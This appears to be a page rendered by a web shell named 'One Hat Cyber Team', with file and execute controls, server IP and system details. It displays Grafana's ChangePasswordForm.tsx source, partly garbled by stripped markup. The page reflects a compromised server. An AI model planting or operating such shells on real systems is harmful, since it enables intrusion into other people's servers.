⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
profile
/
View File Name :
ChangePasswordForm.tsx
import { css } from '@emotion/css'; import React from 'react'; import { Button, Field, Form, HorizontalGroup, LinkButton } from '@grafana/ui'; import config from 'app/core/config'; import { t, Trans } from 'app/core/internationalization'; import { UserDTO } from 'app/types'; import { PasswordField } from '../../core/components/PasswordField/PasswordField'; import { ChangePasswordFields } from './types'; export interface Props { user: UserDTO; isSaving: boolean; onChangePassword: (payload: ChangePasswordFields) => void; } export const ChangePasswordForm = ({ user, onChangePassword, isSaving }: Props) => { const { disableLoginForm } = config; const authSource = user.authLabels?.length && user.authLabels[0]; if (authSource === 'LDAP' || authSource === 'Auth Proxy') { return (
You cannot change password when signed in with LDAP or auth proxy.
); } if (authSource && disableLoginForm) { return (
Password cannot be changed here.
); } return (
{({ register, errors, getValues }) => { return ( <>
v === getValues().confirmNew || t('profile.change-password.passwords-must-match', 'Passwords must match'), old: (v) => v !== getValues().oldPassword || t( 'profile.change-password.new-password-same-as-old', "New password can't be the same as the old one." ), }, })} />
v === getValues().newPassword || t('profile.change-password.passwords-must-match', 'Passwords must match'), })} />
Change Password
Cancel
> ); }}
); };